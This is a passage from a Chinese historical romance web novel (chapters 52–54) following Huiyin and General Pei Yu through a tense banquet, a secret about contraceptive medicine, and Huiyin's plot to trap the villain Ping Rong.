裴衍眼睛发光,一路奔到徽音面前,笑意漾在眼里,露出一排整齐的白牙,其中两颗还有虎牙尖尖。 “嫂嫂,你醒了。” 徽音听见这句嫂嫂皱起眉,她要没记错的话,裴衍曾经对她放过狠话说绝不会承认她是他都嫂嫂。 裴衍也想起这回事,尴尬的低下头,很快又抬起来,摸着后脑勺不好意思道:“过去是我顽劣,对不住嫂嫂,求嫂嫂您大人有大量不要跟我计较。” 徽音微妙的挑了下眉,转身坐到檐下的座位上,示意裴衍也坐。 裴衍坐姿端正的坐在徽音对面,乖巧至极,一点也看不出曾经的顽劣和霸道。 徽音替两人都倒了盏茶,慢条斯理道:“你的来意我都清楚,让我帮你之前你得回答我两个问题。” 裴衍不住地的点头,“嫂嫂你问。” “第一,上官素和你阿兄只能选一个,你选谁? “第二,若有一日,你发现你不再喜欢上官素,你会如何?” 裴衍听完完全呆傻住,这是什么问题,完全不可能发生啊。 徽音浅啜了口茶,微微一笑,“你可以慢慢想,我还有事,你自便。” 她起身离开时,听见身后裴衍咬着牙问,“这两个问题根本就不会发生!所以我也没法回答。” 徽音转过头,意味不明的笑了一笑,有些尖锐的问道:“如何不会发生?皇权侵轧之下,任何都会成为裴家的敌人,如若有人拿上官素在意的家人威胁她,要求她谋害你阿兄呢?” “其二,这世上多的是少年夫妻相看两厌,彼此决裂,能携手到老的才是少数。你现在是很喜欢上官素,喜欢到愿意为了她忤逆母亲,可你有没有想过,当有一天,你位高权重之时,上官素容颜逝去,而你身边多了许多年轻貌美的女郎,你难道不会移情别恋?” “你与上官素身份天差地别,你若另爱上她人,有没有想过深陷后宅全身倚靠于你的上官素会如何,她可是没有说不的权利。感情一事,只在当下,以后的事谁也说不准。” 徽音说完起身离开,她挺喜欢上官素的,她能做的也只是为她谋条后路,至于其他,她也插手不了。 裴衍紧握拳头,嘴唇抿紧,徽音的一番话再他心里头掀起破天波澜,这两个问题,他从来都没有想过。 可徽音说的是事实,也许有一天真的会发生,到那时,他会如何? “我选阿兄!” 徽音停住脚步,没有回头,她听见裴衍无比坚定道:“如果真有那一天,我选阿兄,我不会让任何伤害阿兄的。” “第二个问题,”裴衍语速慢下来,声音发涩,“如果有一天我不再喜欢上官素,我会征求她的意见,她若留下,我自当给她妻子的尊严荣宠,她若要走,我会送她离开,护她下半辈子平安。” “行,”徽音语气带笑,回头招招手,“你这个忙我接了,等消息吧。” 裴衍一喜,上前恭恭敬敬的行礼抱拳,“嫂嫂不计前嫌愿意帮我,衍感激不尽……” 徽音走进内室,摆摆手,“等你成亲那日再谢我吧。” —— 平宁殿居于甘泉宫西北高台,屋顶覆玄黑陶瓦,日耀则泛紫金辉光,殿柱皆用南山巨木,朱漆为底,雕刻云纹,奢华异常。 时值夏末黄昏,蝉鸣不绝,殿中锦绣帷幔,华灯璀璨。殿门口守着四位青衣长袍的门僮,高声唱道每一位来祝贺的贵客名号。 徽音跟着裴彧一路进殿,门僮高声唱道:“裴将军到。” 众宾客起身拱手行礼,裴彧一一回礼,顺着婢女指领落座于正坐左列第一个位置上,吴王早已经坐下,此刻抬头遥遥朝裴彧点头,他身后还跪坐着一貌美姬妾。 方一落座,吴王便开口笑道:“元唏兄,看来你我乃同道中人啊。” 他说这话时意味不明的看向裴彧身后的徽音。周围已落座的宾客纷纷止声,眼观鼻耳观心,侧耳听着上头两位大人物的谈话。 裴彧轻笑,吩咐侍女在他身旁再置一张锦席,并排摆放,他则拉着徽音坐下,为徽音斟酒布菜,无视众人吃惊的眼神回道:“殿下此言不妥,你我从来就不是一路人。” 吴王冷笑,“哼,自然,你将个妾室当宝贝,本王可做不到。” 裴彧取过短匕首将烤肉分成小块方便徽音进食,手腕发力一掷,短匕猛然插入吴王面前的案几上,入木三分,连周围都被震出裂缝。 吴王大惊失色,拍案怒道:“裴彧,你!” 裴彧直起身,当着吴王的面抽回匕首,勾唇浅笑,“臣一时手滑,殿下勿怪。” 吴王脸色一阵青一阵白,拳头攥得死紧,若非周围人将他劝住,只怕此刻就要上去和裴彧动手。 徽音没管他俩之间的矛盾,她全部的注意力都在吴王身后那个美艳姬妾身上,那女子她认识,正是两月前宫宴上救她的乐漪。 乐漪察觉到徽音的视线,微微抬头一笑,复又低下头,低眉敛目的替吴王斟酒。 面前伸来一只骨节分明的手掌,手掌还有一个剥得干干净净的蜜桔,散发淡淡的桔香。裴彧一边和吴王打嘴仗一边也没闲着。 尚未开席,主菜未上,时令蔬果却不曾缺席,秋梨、蜜桔、甜瓜、脆枣盛于漆盘中。 徽音掰着蜜桔吃,用只有两人的声音对裴彧说道:“你今日作何打算?” 裴彧道:“今日郑家众人都在此处,我打算夜探平阳侯住所。” 徽音抬眼看向他,眼底露出笑意,“想要我帮你,求我。” 裴彧还是第一次见她如此灵动的模样,眼波流转间,眼角眉梢都是风情。他喉结微动,低声道:“求你。” 他顿了顿,再度道:“徽音,求你了。” 徽音咬了口脆枣,甜滋滋的果肉在唇齿翻涌,她微微抬着下巴,像只骄傲的小孔雀,“我要还要吃桔子。” 两人低语间,面前突然扑来一阵香风,女郎粉裙绿鬓,眉眼秀丽,轻咬着下唇,身姿袅娜的屈膝行礼。 徽音和裴彧同时一顿,蹙着眉望着李莹月,不知她要做何。 李莹月捏紧手心,眉目含情,声音如水,“裴将军,妾想问你,那日为何不曾上门?” 徽音顿时觉得口中脆枣味同咀嚼,她抬头看了眼李莹月,泪眼盈盈,身姿颤颤,好一副娇弱可怜的模样,叫人忍不住心疼。 裴彧面色淡淡的斟酒,眼风未动半分,“李女郎,你失礼了。” 李莹月浑身一颤,泪珠就此滑落,她不可置信的捂着胸口泣泪,“裴将军,你为何是不是因为这贱人?” 她侧头愤恨的盯着徽音,满脸不甘。 李莹月停在两人案几前已有一段时间,偏偏她还一副委屈至极落泪的模样,整个殿中的议论声慢慢降了下来,纷纷打量着这边。 吴王唯恐天下不乱道:“元唏,果然魅力不减当年啊,美人争相投怀送抱,艳福不浅。” 裴彧脸色彻底冷了下来,他本就不是怜香惜玉的主,与李莹月素不相识。若非他阿母私底下与李家有意,理亏在先,他早不搭理李莹月,叫人拉下去了。 他冷冷瞧了李莹月一眼,耐心告罄,“李女郎,某的事与你无关。” 李莹月眼泪簌簌下落,红着眼不肯离去。 裴彧眼见徽音笑意一点一点降下去,心中烦闷至极,冷声呵斥道:“你且听好,家母所言皆未知会过我,她向你们说了什么,我一概不知情,也一概不会接受。你莫再做出一副楚楚可怜的模样,惹得流言纷纷,速速离开!” 李莹月不肯离去,将被羞辱的一腔怨恨撒在徽音身上,“你胡说,分明是你被这贱人勾引,这才不愿承认和的我婚约。” “闭嘴!” “慎言!” 两道呵斥同时响起,裴彧怒极拍案,含怒道:“我与你父亲说的清清楚楚,补偿也给得明明白白,你却一再胡搅蛮缠,出言辱我心上人,当我裴彧是死人吗?” “来人,赶出殿去!” “是!”等候在殿外的方木和驰厌披甲执锐上殿,靴履重重的踏在地上。 李莹月浑身一阵,此刻才晓得后怕,她不住的流泪,四处找人求救。她今日是偷偷跑来的,父母并不知情,她很早以前就爱慕裴彧了,她不甘心放弃这次机会。 “我” 吴王瞥了眼浑身气愤的乐漪,面露诧异,方才他没听错的话,那句慎言是她所言。他来不及去想乐漪是何用意,起身搅事。 吴王走到李莹月身边,长叹道:“裴元唏,你这是做什么,一个爱慕你的女郎不喜便罢了,何必欺负人呢?” 其他人也跟上去七嘴八舌的劝导,叫裴彧莫跟一个小小女郎计较。 裴彧似笑非笑道:“殿下何时这么怜香惜玉了?我本就不是好人,亦非君子,今日我偏要计较。” 徽音身为当事人之人,事发时便默默不语。她盯着月漪陷入沉思,她确定她不认识月漪,那月漪为何要屡次相帮于她? 李莹月瑟瑟发抖的躲在吴王身后,她已经想到被赶出去后会被多少人讥讽,过了今日,所有人都会嘲笑她恬不知耻,她的名声全毁了! “对不住,我错了!我错了!放过我吧……”李莹月崩溃大哭,跌落在地。 裴彧没有半分心软,挥手让人拉出去。 “这是在做什么啊?” 寿诞的主人平阳侯姗姗来迟,他穿着,抚着美髯须微笑着走进大殿。 立时便有人上前将方才发生的事情一五一十的告知,平阳侯今年整四十岁,乃是郑家和吴王身后的掌舵人。 他为人谦和,礼贤下士,喜爱结交,门下门生众多。听闻事情的始末后,他先是张开手笑着去安抚面色惊异的宾客。 而后才慢慢踱步到裴彧等人面前,抚须指着哭泣的李莹月笑道:“老夫与此女的父亲有些交情,裴将军,能否老夫的面子上网开一面?” 裴彧冷笑,“若人人都如她一般冒犯于我,往后我还有何威信可言?” 李莹月满脸泪痕的盯着裴彧,不明白他为何突然之间变得如此可怕,明明那日的他很和煦。 平阳侯微微摇头,上前落座在正位上,语气谆谆,“到底是年轻气盛,须知得饶人处且饶人的道理。” 裴彧端起酒盏,遥遥的朝平阳侯敬酒,戏谑道:“侯爷说这话是最为不妥的,三年前一小官不甚冒犯于侯爷,侯爷可是上书呈表要诛他满门啊。” 平阳侯笑意变淡,微眯盯着裴彧。 裴彧把玩酒盏回望过去,双眼漆黑如墨。 殿中丝竹悦耳之声不知何时已停,一片寂静,只有裴彧案桌案发出的一丝微小声音。 众人抬头望去,就见裴彧身边坐着的那位艳绝女郎正在执筷用膳,方才那声音就是竹筷撞击漆盘的声音。 徽音毫无所觉,自顾自的吃着,毕竟民以食为天。 裴彧支着头津津有味的看着她用膳,时不时帮她续杯。 吴王忍不住斥道:“裴彧,你莫要太猖狂了!” 裴彧不耐烦的掩住耳朵,从前怎么没有发觉吴王这般蛞噪。 他见徽音用完饭,递过去干净的锦帕,“饱了么?” 徽音点点头,裴彧遂牵着徽音起身,不悦的看向吴王,“既然殿下和侯爷都为此女求情,那便算了,就当作我给侯爷的贺礼了,告辞!” “裴将军留步!” “裴将军!” 平阳侯压抑着怒火,他这寿诞还没开始就被毁了,若非陛下再三叮嘱两家不可撕破脸,他绝不会邀裴彧前来。 裴彧牵着徽音离开大殿,走到转角之处时两人分离,他吩咐驰厌送徽音回去。 徽音问:“李莹月?” 裴彧皱眉,似是不想再谈论此人,“今日我本是打算寻吴王生事,她非要撞上来不肯罢休,甚至出言侮辱你,给她点教训也是应得。” 徽音点点头,不再多说什么,嘱咐道:“切勿小心。” 裴彧的身影隐入夜色,渐渐消失。回去的路上,徽音撞见了一个人,长乐尉卫平嵘,平祯的大兄。 平嵘看见徽音脚步一转引上来,眼神放肆,“这不是宋女郎吗,近日可安好?” 徽音面色淡淡的行礼,“回尉卫大人,妾身一切都好。” 平嵘调笑,伸手去摸徽音的脸,“跟着裴彧有什么好,不如跟我……” “啪——” 平嵘只感觉手臂骤然麻痛,痛呼出声。 驰厌收刀入鞘,语气不甚恭敬,“尉卫大人,请勿失礼。” 平嵘捂着手臂一脸怒意,抬头刚想骂两句,就看见驰厌横刀在身前,冷冷盯着他,此人是裴彧的贴身近卫,身有官职,平嵘不忌惮他,但忌惮他身后的裴彧。 他瞥了眼了徽音,冷哼一声离去。 徽音望着他离去的身影,眼神微动。 驰厌见徽音盯着平嵘的背影一动一动,出言询问,“娘子,怎么了?” 徽音收回视线,抬步离开,“这位平嵘你可熟悉。” 驰厌回忆片刻道:“不怎么熟悉,不过少将军说他目光短浅,狂妄自大,成不了大事。” 徽音点点头,又问了些其他无关紧要的问题。 第53章 避子药,她是不是从没想…… 迎风馆灯火明亮, 徽音先去看了裴夫人,她这几日都在卧床休养,贺佳莹随侍在身边。 裴夫人精神不错, 倚靠在凭栏上,贺佳莹正在喂她喝药。她见了徽音也和蔼了许多, 拉着徽音闲聊了几句。 徽音不咸不淡的应了两句就告退离开,她对裴夫人没有亲近的意思,就这么不远不近的就行。 已经七月下旬,甘泉宫避暑之行也将要结束, 等到八月中秋宫宴之后,她应该就已经离开裴府了。 这几日裴夫人卧床, 院中一些琐碎事务都来找她拿主意, 耽误了徽音不少时间,连翻译古文的进度都耽搁了下来。 徽音坐在案前翻阅竹简, 月上枝头,凉风渐起,裴彧方归。 他今日出门赴宴穿的是一袭玄色深衣曲裾,许是为了方便做梁上君子,袖口和下摆处都被扎住, 显得身形劲瘦挺拔。 徽音收好古籍迎上去, 她屋门口的木门昨日叫裴彧亲自修葺好, 新上的朱漆油亮油亮的。 裴彧神色与分别时大不相同, 他眉头紧锁, 唇瓣抿紧, 一副心事重重的样子。 徽音微微蹙眉,轻声问:“出了什么事?” 裴彧神色犹豫片刻,最终还是什么都没说。他摆摆手, “无事。” 徽音听闻这句默默走到他身后替他解下手臂上的束带,裴彧不想告诉她,她也不会多问。 每个人都有自己的秘密,她有,裴彧亦然。 梳洗后两人躺在榻上,裴彧难得没有闹徽音,他板板正正的躺在床上,盯着纱帐不知道在想些什么。 徽音侧头看着他,她不清楚裴彧在郑家获悉了什么,但他是第一次露出这幅沉重的表情,让她心中有些不安。 难道是与夺嫡有关?陛下正直盛年,手中权柄大握,以目前的形势来看,夺嫡至少也是十年后的事情。 不是夺嫡,那又是什么? 裴彧突然顷身抱住徽音打断她的思绪,他埋在她的肩侧沉默不语,徽音没有开口,她只是抬起手回抱住裴彧,无声安慰。 等到徽音熟睡后,裴彧才抬起头,明亮的月光明晃晃的照进屋内,找进他漆黑的眸子里,他在郑家找了他父亲当年紧急呈给陛下的军报。 军报上言明,我军战术布防外泄,恐匈奴突袭,请求退回代郡。 五年前代郡一战的始末卷宗裴彧清清楚楚,这些年来他不知翻阅了多少遍,匈奴突袭,他阿父虽然胜了,却是惨胜,连自己也没能活着回来。 他确信卷宗没有记录过此事,也就是说这封信是被秘密截下,而那个外泄的战术之人,就是携匈奴刺客出现在甘泉宫的陈颉。 裴彧拥紧徽音,眼底幽深不明,他阿父的死无疑是郑家所为,而陛下包庇郑家,看来也是知情人。 食君之禄,忠君之事,可是没有人说过,若陛下不仁不义,又该如何? —— 七月底,甘泉宫避暑之行结束,徽音时隔三月再次回到临水阁这座小院,裴府有陶媪做镇,她也卸下了管家的担子。 八月,大旱,岁大饥。 由太子主持修建的禅台在完工后的第三日被一场莫名其妙的火烧毁,一时之间,流言蜚语纷纷而至。 他们说,是上天对太子不满,这才三月不曾降雨导致大旱,禅台被毁就是最好的证明。 粮价飞涨,好在府库粮食充足,陛下放粮赈灾,长安郊外涌进了一批灾民,裴彧这些时日除了忙着长安外围布防巡视外,还忙着解决太子流言一事,许久未归。 长安夫人贵女们得知灾情,由皇后娘娘牵头组织了一场募捐,徽音没什么钱财,便把裴彧之前给她的一袋金锭捐了出去。 趁着募捐的由头她出了门,约冯承在东市见面,袁秩留下的帛书她已经悉数翻译完,皆是普通的古籍,只有一封段落中藏着一句话。 城西十里亭往西五里,破庙第五块青砖之下。 徽音笃定,这就是她一直在找的东西。天下大旱,却未波及天子之都,长安依旧繁华,东西二市行人络绎不绝,车马难行。 徽音等在酒肆里,帛书已经变她手心的汗微微濡湿,她握住颤抖的手掌,闭上眼深呼吸,安慰自己,等了那么久,不急于一时。 街道的叫卖传进徽音耳里,她侧身望去,拐角处驶来一架宝马华盖的奢靡马车,在这拥挤的街道的上都不曾降速,一路疾驰过来,撞到不少行人。 车夫手中的鞭子甩的呼呼作响,口中大声呵斥,“快滚开!平府的马车也敢拦。” 一阵风起,徽音看清了马车内的那人,是平嵘,他怀里还抱着个看不清面容的布衣姑娘,似乎在哭泣。 平府马车闹了一路消失在街尾,街角远远传来一声哭嚎,一个浑身脏污的瞎眼婆婆跌跌撞撞的跪倒在街上,双手举在空中摸索。 口中哭唤道:“云娘……我的云娘!” 众人七嘴八舌的将她扶起,询问事情的始末,这家人原是平氏底下的佃农,家中有一女生得貌美,被平嵘看上,威逼利诱不成,直接明抢。 徽音听着低下的骂声和劝阻。他们说平氏是贵族,民斗不过官,莫将自己一条老命和全家人的命折腾进去。 老婆婆看不见的浑浊眼珠留下两道泪,她似乎也知道自己改变不了什么,无力的捂着胸口哭嚎。 “徽音,你在看什么?”冯承进门好一会了,瞧见徽音一直望着窗外,神情冷漠。 “没什么,”徽音关上窗,将手中的帛书递给冯承,“阿兄,你帮找到这个东西。” 冯承接过帛书打开,面露欣喜,“太好了,我就知道袁秩手里有东西,我这就去找!” 告别冯承后,徽音去了趟黑市,所谓黑市,其实就是卖些明面上不能卖的东西,比如消息之类的。 是夜,熟睡的徽音突然被一阵钻心的疼意疼醒,好似有一张大手在她腹中肆意搅弄,拽着她的小腹往下扯。 她疼得浑身是汗,嘴唇咬的发白,身下传来一股濡湿感,是她来葵水了。 徽音身体一向康健,葵水准时不折腾人,只有在第一天时人有些困乏腰酸,从没有一次向现在这样,痛得她痛呼出声。 她捂住肚子,捂住的蜷缩在床上,被褥在她不住的翻身间落地。屋内灯火已熄,伸手不见五指。 徽音难受的喘着气,想翻身下床去找人,才一落地连站都站不住,跌在地上。 她捂着肚子痛叫出声,眼泪砸在地上,怎么会这么痛,痛的她想死。 地板的凉气的加深她的痛楚,徽音汗如雨下,嘴唇上咬出深深的痕印,她不知道自己在地上躺了多久。 楼梯间有脚步声传来,徽音虚弱的睁开眼,祈求的望着门口,谁能来救救她。 今夜太晚,裴彧本应该直接歇在卫所,但他已经三日未曾见到徽音,心痒难耐,实在忍不住想见她。 担心搅扰徽音的好眠,他开门的声音很轻,屋内黑漆漆的一片,帷幔后传来微弱的呻吟。 裴彧心中一紧,快步走到帷幔后,徽音蜷缩在地上,捂着肚子哭泣。 他连忙将人抱上床,手下全身徽音身上浸出来的冷汗,她瘦的跟小猫一样,轻飘飘的。 “怎么了徽音,快告诉我哪里痛?” 徽音捂住肚子,泪眼朦胧,“肚子痛。” 裴彧连忙点起床前的油灯,去看徽音的脸色,惨白如纸,额上颈间全是汗水,一副痛极模样。 裴彧快步走到窗前,大喊道:“来人,快去请医官。” 一楼旁屋的灯光接二连三的亮起,颜娘披着外衣边走边穿,一面吩咐阿桑去请医官,一面带着阿蘅快步上楼。 裴彧把徽音抱在怀中,炙热的大掌捂在她小腹上轻轻柔捏,焦急地问,“好些了吗?” 徽音虚弱的倒在他怀里,昏昏沉沉。 颜娘进了内室,忙问,“少将军,出了何事?” 裴彧喊她进来,颜娘见徽音一副病重模样,瞬间就慌了神,嘴唇颤抖,“这……这是怎?” 裴彧绷着脸,训斥道:“你们是怎么伺候,没一个人发现不对劲!” 徽音微弱的拉住裴彧的手,无声摇头,她实在没有力气说话,只能抬手指着床上那块血迹给颜娘看。 裴彧看见那块血迹,脸色更加难看,抱着徽音要起身下楼。 颜娘连忙拦住他,“少将军,娘子这是葵水来了。” “来葵水会痛成这样?”裴彧拧着眉,徽音软软的道在他怀里,一副了无生气的模样。 颜娘解释,“少将军,娘子以往来葵水没这么痛,许是用了寒物。” 裴彧将徽音放回床上,探着她的体温,并不高热。他抿着唇退后,疑问道:“怎么止痛?” 颜娘将阿蘅遣下去烧热水,取来干净的帕子擦拭徽音脸颊的汗,回道:“娘子第一次这样,许是要些药。” 裴彧坐在榻上,看着颜娘替徽音换上干净的衣服,徽音比方才要好些,双眼蒙上一层水雾的朝颜娘撒娇,“傅母,我好疼啊。” 颜娘心疼的不行,忙将人抱在怀里轻声哄着。裴彧被晾在一边,看着两人亲如母女的模样,心中不住的泛酸,什么时候,徽音才会这样软软的朝他撒娇。 半响,阿桑拉着衣衫不整的医官赶来,医官还没来来得及喘口气,就被裴彧拉到帷幔外,替里头那位娘子把脉。 他抚着胡须暗叹一声,怎的如此不注重身体,年纪轻轻的糟蹋身体,以后想补救都补不回来。 “这暖宫的药,一日三次水煎服用,连服三月。” 裴彧接过药方询问,“她往常不会痛成这样,今日是为何?” 医官眼神古怪的瞅了裴彧一眼,“少将军不知吗?凉药服用久了伤身,于以后子嗣有碍。” 颜娘浑身僵硬,脑中轰隆一声,徽音服药是避着裴彧,要是被他知道了,后果不堪设想。 裴彧疑问,“什么凉药?” “避子药,”医官没有看见裴彧阴沉的脸色,继续道,“少将军,娘子现下服的这药太过伤身,是否需要老朽重新开一副?” 裴彧面色阴沉如水,额角青筋暴起,良久他才平静的吩咐:“我知道了,你先下去,今日之事不许告诉任何人。” “是。”医官收拾好药箱离开。 颜娘抱着徽音微微发抖,裴彧知晓了徽音避子一事,他会怎么样。 裴彧隐在黑暗里,怒火瞬间窜遍他的四肢百骸,烧得他眼前发黑。他不明白,为什么徽音要吃避子药,她不愿替他生儿育女,从没想过和他的以后吗? 心脏处传来尖锐的刺痛,让他几乎无法呼吸,裴彧不得不弯下腰,手掌紧紧朝撑住墙壁,才能勉强站稳。 不知过了多久,陶灯里的灯油烧枯,烛火熄灭,颜娘半边身体僵硬,她才听见裴彧一句无波无澜的声音,“你好好照顾她,我还有事,先走了。” 颜娘想要解释,又怕越描越黑,只能哑然的跪在床前,目送裴彧离去。 —— 徽音醒来时天才刚刚亮,她嘴唇干涩,嗓子发痒,撑着疲惫的身体起身,发现颜娘睡在脚踏上守着她。 颜娘听见动静惊醒,坐起身扶着徽音躺好,“你别动,要喝水吗?” 徽音点点头。颜娘指腹触发壶身,确定茶还尚温才倒给徽音喝。 徽音连饮三盏,关于昨夜的记忆有些模糊,只记得自己痛晕前好像看见了裴彧。 “傅母,昨夜裴彧回了吗?” 颜娘倒茶的动作一顿,隐去眼中的忧虑,下定决心摇头,“少将军并未回来。” 她有些心虚的眨眼,转移话题,“那药可不能再吃,太过伤身。” 徽音没有接话,颜娘还想再劝时。楼梯间突然响起一阵叮叮当当的环佩响声,贺佳莹提着木篮上楼,人未到先闻其声,“徽音,听说你病了?” 徽音身体尚虚弱,说话也有气无力的,“不算生病。” 贺佳莹将手中的木篮递给颜娘,里头是几个红彤彤的脆果,她提着裙摆坐下,关怀道:“你面色看着特别差,真没事吗?” “我真没事。”徽音笑笑,捧着热茶喝了一口,缓解小腹的坠痛。 贺佳莹撑着双手悠悠叹气,“府内好无聊。” 徽音笑道:“没有人天天陪你游山玩水,自然无聊。” 贺佳莹皱鼻轻哼,“你就会取笑我,亏我还特意带着果子来看你,那可是郭夫人特意遣人送来的。” 徽音:“多谢你了,时刻惦记我。” 贺佳莹舒心的眯眯眼,“过两日我们去街上逛逛吧,府内好闷。” 徽音回忆着在黑市买来的消息,后日平嵘会去梁园賦赴宴,她垂下眼,不经意道:“听说梁园賦的位置很难订。” “梁园賦?”贺佳莹拍手道,“好说,梁园賦的主人受过表兄恩,一直都给裴府留着位置呢。” 徽音慢慢弯起眼睛,“那很好。” —— 梁园賦坐落在城西幽静之处,是由两座三进宅院组成,内有江南式样的园林景致,假山亭湖,清幽雅致,加之其有名动天下的神厨坐镇,是长安贵族最为喜爱的去处。 徽音和贺佳莹跟随指引的人一路来到左院第三间雅座,厅堂内开阔,地上铺着精细苇席,两侧放着四张低矮的漆案与锦垫。 佳肴鲜美,果然不负盛名。饭后,贺佳莹倚在榻上听着小调,徽音借口梳妆来到垂花门下,支走婢女,等在岔路口。 方才进门时她正好瞧见平嵘等人也是朝这个方向而来,应该就在不远处的雅座内。没等多久,不过一刻钟,平嵘就被人仆从醉醺醺的从转角扶出来,看方向,应是要去恭房。 徽音摘下左耳上的耳铛扔在草地里,假装寻找。等平嵘两人走近时,她才直起身,笑语盈盈,“尉卫大人。” 平嵘迷蒙抬起来,面前的女郎笑颜如花,害羞带怯的望着他。 他酒瞬间醒了,推开奴仆站直身体,整理衣襟笑问,“原来是宋女郎,宋女郎怎么在此处。” 徽音微微垂头,露出白皙纤细的颈脖,眼含愁绪,“妾身的耳铛不慎遗失,许久都未找见。” 平嵘一听,当即吩咐奴仆去替徽音寻找,他倾身靠近徽音,闻着美人身上的淡香心神驰往,心痒难耐,“宋女郎放心,若是找不到,在下一定亲自送你一副南海珍珠耳铛。” 徽音不好意思的抬眼,眼含秋水,“这不好吧?” 眼见美人有意,平嵘立刻说道:“这有什么不好,明日我就寻来送你!” 徽音掩唇浅笑,“那明日妾身就在东市西北口等着尉卫大人了。” “好说好说。”平嵘望着徽音离去的身影依依不舍。 徽音回到堂内,贺佳莹身侧的漆盘内堆满果皮,她今日穿了身修饰身材双绕曲裾裙,极显身材,此刻腰身小腹圆滚滚的凸起。 贺佳莹见徽音回来,嚼着定胜糕道:“快来,这糕点很好吃。 徽音依言坐过去,端起茶碗喝茶,右耳垂上仅剩的耳铛轻轻晃动。 贺佳莹视线被吸引住,“你怎么少了一只耳铛?” 徽音平静的摘下另一只耳铛收拢好,“许是遗失了。” 贺佳莹点点头转而提起另一件事情,“姨母明日要去城外施粥,你去吗?” “明日我有其他事。”徽音放下茶碗,低头遮住眼底的暗光。 明日,她要去收一个人的命。 —— 是夜,月明星稀,徽音抱腿在床上等了很久,裴彧今夜依旧未归,她不知城外是什么情形,裴彧每日在做什么。 徽音散下长发,重重的倒在床上,手掌无意识的摸索身侧空白之地,不知何时起,她已经习惯在裴彧的怀抱里睡觉,裴彧不在,她很想他。 徽音翻过身,枕着软枕思考,明日她和冯承见面,一是能拿到袁秩留下的证据,借由此扳倒苏家,二则是神不知鬼不觉的杀死平嵘。 她今日以美色诱之,经历平祯和萧盼儿一事,平嵘一定会非常谨慎,所以明日他来赴约,一定不会有太多人知晓。 而此时,天下大旱,灾民入京,全程都目光都集中在城外的灾民身上,是动手天赐良机。 不过,平嵘是平家未来的家主,又身兼长乐尉卫的官职,需得谨慎应对。 徽音睡意袭来,疲倦的合上眼,睡前迷糊的想着,裴彧现在在做什么,他按时用饭了吗? 翌日一早,等裴夫人和贺佳莹的车架出府后,徽音才出门,她带着颜娘架车往东市走,途径几处成衣首饰铺,买了不少东西。 是的,她有钱了。从甘泉宫回了裴府后,裴彧就从朔风堂搬去了临水阁,连带着他的小金库也搬到徽音那里,任她取用。 马车一路绕道和冯承约好的地方,徽音率先下了马车,完全没有注意到马车身后坠着的小尾巴。 冯承等在雅座内焦急的踱步,神色难看至极。 徽音站在窗前,紧紧盯着手上找了半年多的证据,眉头紧皱。 冯承:“这份证据只能证明袁秩是受苏文易指使才找人告发老师,却没有证据证明老师的清白!” 徽音一颗心坠到谷底,她万万没有想到寄予厚望的证据居然如此鸡肋,证明不了她阿父的清白,亦扳不倒苏家。 冯承看着徽音毫无血色的唇色,上不忍心的开口,“徽音,你还好吗?” 徽音指节紧紧攥住木简,浑身脱力,紧紧靠着墙壁才能支撑着才没有倒下。 她掐着手心强迫自己冷静下来,一定还有办法的,一定是有什么地方被她遗漏了。 徽音仔仔细细的在脑中思索,将阿父出事以来的每一条线索,每一处异常都思虑一遍。只是她知道的实在太少了,她只知道苏家是幕后真凶,却不知道案子其中的明细。 良久,冯承看见徽音面色恢复平静,眼神坚定的朝他道:“那封密信一定是假的,袁秩这条线断了,现在只能寄希望于收录在天禄书阁的卷宗。” 冯承皱眉,“天禄书阁在宫中,非陛下亲信不可进。” “八月十五,中秋夜宴。” 冯承不赞同道:“不行,这太危险了。” 徽音将证据收好,微笑的望着冯承,“我意已决。阿兄,不论如何,多谢你了。” 冯承万分无奈,“罢了,好在有裴彧,不论出何时,他肯定能保住你。” 两人谈完事情,一路朝外走,冯承凑近徽音笑小声道:“你让抓的那个人已经抓到了,你想做什么?” 徽音正想回他,忽觉前方有人一直盯着自己,她抬眼去望,络绎不绝的行人,一人挎剑立于街道中心,与周围人分离开来。 徽音一直晃荡的心此刻才得到安宁,她望着街道中间的那个身影,嘴角不自觉的上扬,不由自主的忽略其他,提着裙摆跑过去。 她越过人群,径直来到裴彧身边,仰头凝视着他,视线从他的发髻一直下移到唇瓣出,不肯遗落一丝。 徽音伸手握住裴彧温热的大掌,眼眶生热,“裴彧,你瘦了,还长了青茬。” 裴彧望着徽音柔美的脸庞,心像是被分成两瓣,一瓣说,快抱抱她吧,告诉她你也很想她。另一瓣说,问问她为什么要吃避子药。 裴彧掩住神色,低头凝望徽音,“你和冯承到底在密谋什么?” 第54章 平嵘:“是她勾引的我,…… 长街喧哗, 两人站在正街中央,身侧是来来往往的人群。 徽音望着裴彧冷漠的面容,心猛的漏了一拍, 下意识松开裴彧的手回头去看冯承,可冯承早已不在原地, 连他身边的奴仆也不见踪影。 怎么会,难道是平嵘发现了什么端倪? 徽音担心冯承出事,连忙朝裴彧开口,“此事容我慢慢跟你解释, 冯阿兄不见了,你快帮我找找他。” 裴彧望着徽音焦急的眉眼, 心头妒火升起, 他死死咬着牙,喉间涌上铁锈味, 一字一句道:“冯承,你心中就只有冯承,什么事都找他,他有个屁用!” 徽音蹙眉,疑惑的望着他, “你到底在说什么?” 裴彧冷笑一声, 拽着徽音的胳膊离开街道, 他步子太大, 徽音只能跌跌撞撞的跟着他离开, 拐进一间隐在街道内的青砖小院。 小院中间, 冯承和他的奴仆都被打晕,五花大绑的扔在墙角,身边守着的是裴府近卫, 还有一脸不好意思看着她的驰厌。 正中的屋子内,桌椅茶具摔了一地,地上仰躺着一个人,双手捆绑在身后不住的挣扎,在他身侧,还有一个破损的木匣子,摔出来的东珠耳铛熠熠生辉。 徽音瞬间明白一切,裴彧派来监视她的人一直都没有撤除,她的一举一动裴彧都清清楚楚。 他早就知道今日她和冯承要联手抓平嵘,早早的埋伏好,螳螂捕蝉,黄雀在后。 徽音身体开始发冷,她突然有些看不懂裴彧了,胳膊上传来大力,徽音吃痛的呼出声。 下一息,手臂上的桎梏消失,她整个人撞进一个硬挺的怀抱里,浑身陷入他的包围圈,裴彧炽热的气息扑在后颈。 裴彧单手摸上徽音的颈脖,半强迫半柔和的抬起她的头,指着昏迷的冯承和屋中兀自挣扎的平嵘,语气轻柔的不像话,“你能不能告诉,他们两个为何在这里?” 徽音听出他的弦外之音,她抿着唇,艰难道:“是我让冯阿兄抓的他……” 裴彧盯着她白皙的侧脸,低声喝道:“别叫他阿兄,你们毫无血缘关系,他算你哪门子阿兄!” 他听见这声阿兄就来气,明明他才是徽音最为亲密的人,为什么每次一有事,徽音找的永远是冯承。 阿兄阿兄的,他真是受够了。 